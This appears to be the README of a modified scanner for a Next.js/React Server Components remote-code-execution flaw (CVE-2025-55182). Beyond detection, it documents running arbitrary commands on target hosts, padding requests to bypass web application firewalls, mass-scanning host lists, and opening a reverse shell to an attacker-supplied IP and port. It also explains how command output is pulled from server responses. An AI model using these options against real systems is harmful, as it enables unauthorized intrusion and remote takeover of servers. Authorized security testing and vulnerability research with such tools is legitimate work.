
A evolved version of assetnote CVE-2025-55182 scanner
High Fidelity Detection for RSC/Next.js RCE
Scanner for detecting Remote Code Execution (RCE) vulnerabilities in React Server Components and Next.js applications.
React2Shell Scanner is a specialized tool for identifying Remote Code Execution (RCE) vulnerabilities in applications that use React Server Components (RSC) and Next.js. The tool detects vulnerabilities related to the following CVEs:
The tool performs high-fidelity checks using side-channel detection and RCE proof-of-concept, with the ability to extract dynamic results from executed commands through automatic parsing of HTTP responses.
This is an edited version by @imguimoraes of the original scanner developed by the Assetnote Security Research Team. The original RCE PoC was created by @maple3142.
pip install requests tqdm
Or using the requirements.txt file:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [options]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| Option | Description |
|---|---|
-u, --url URL | Single URL or host to check |
-l, --list FILE | File containing list of hosts (one per line) |
| Option | Description |
|---|---|
-t, --threads N | Number of concurrent threads (default: 10) |
--timeout SECONDS | Request timeout in seconds (default: 10) |
-k, --insecure | Disable SSL certificate verification (enabled by default) |
| Option | Description |
|---|---|
-H, --header "Key: Value" | Add custom HTTP header (can be used multiple times) |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
The scanner displays results with color codes indicating the status:
For vulnerable hosts, the executed command result is displayed when available through automatic extraction of the X-Action-Redirect header or the response body.
When the -o option is used, the output is saved in JSON format with the following structure:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
Result fields:
vulnerable: true if vulnerable, false if not vulnerable, null if error occurredcommand_result: Result of executed command extracted from response (when available)final_url: Final tested URL (after redirect following if enabled)status_code: HTTP status code of responserequest: Full HTTP request sentresponse: HTTP response received (first 2000 characters)error: Error message if anytimestamp: UTC timestamp of checkThe scanner offers two detection methods:
Safe Check (--safe-check): Non-invasive side-channel detection that checks error patterns in the response without executing code. Useful for initial scan without impact.
RCE PoC: Actual remote code execution with dynamic extraction of results. Uses Node.js child_process-based payloads for system command execution.
The scanner performs automatic parsing of HTTP responses to extract executed command results:
X-Action-Redirect header (format: NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} or 1:E{"digest":"<result>"})--payload parameterExtraction is performed dynamically, not relying on fixed values, allowing validation of any command execution.
When the --waf-bypass option is used:
--waf-bypass-size (default: 128KB)The --payload parameter allows specifying any command to be executed:
echo $((41*271)) (result: 11111)--windows is activeThe command result is automatically extracted and displayed, regardless of the returned value.
The --reverse-shell option allows establishing a reverse shell connection:
IP:PORT (example: 192.168.1.100:4444)powershell.exe/bin/shThis tool is intended exclusively for educational purposes and authorized security testing.
The original RCE exploit was created by @maple3142.
The original scanner was developed by the Assetnote Security Research Team:
This edited version maintains the original scanner's functionality with additional improvements:
Edited by: guiimoraes
If you find bugs or have suggestions for improvements, please open an issue in the repository describing the problem in detail.
| Option | Description |
|---|
-o, --output FILE | Output file for results in JSON format |
--all-results | Save all results to file, not only vulnerable ones |
-v, --verbose | Verbose output (shows response snippets for analysis) |
-q, --quiet | Quiet mode (shows only vulnerable hosts) |
--no-color | Disable colored output |
| Option | Description |
|---|
--safe-check | Use safe side-channel detection instead of RCE PoC (does not execute code) |
--windows | Use PowerShell payload instead of Unix shell (for Windows environments) |
--waf-bypass | Add random data to payload for WAF bypass (default: 128KB) |
--waf-bypass-size KB | Size of random data in KB for WAF bypass (default: 128) |
--payload COMMAND | Custom command to execute via RCE (default: echo $((41*271))) |
--reverse-shell IP:PORT | Create reverse shell connection to specified IP:PORT |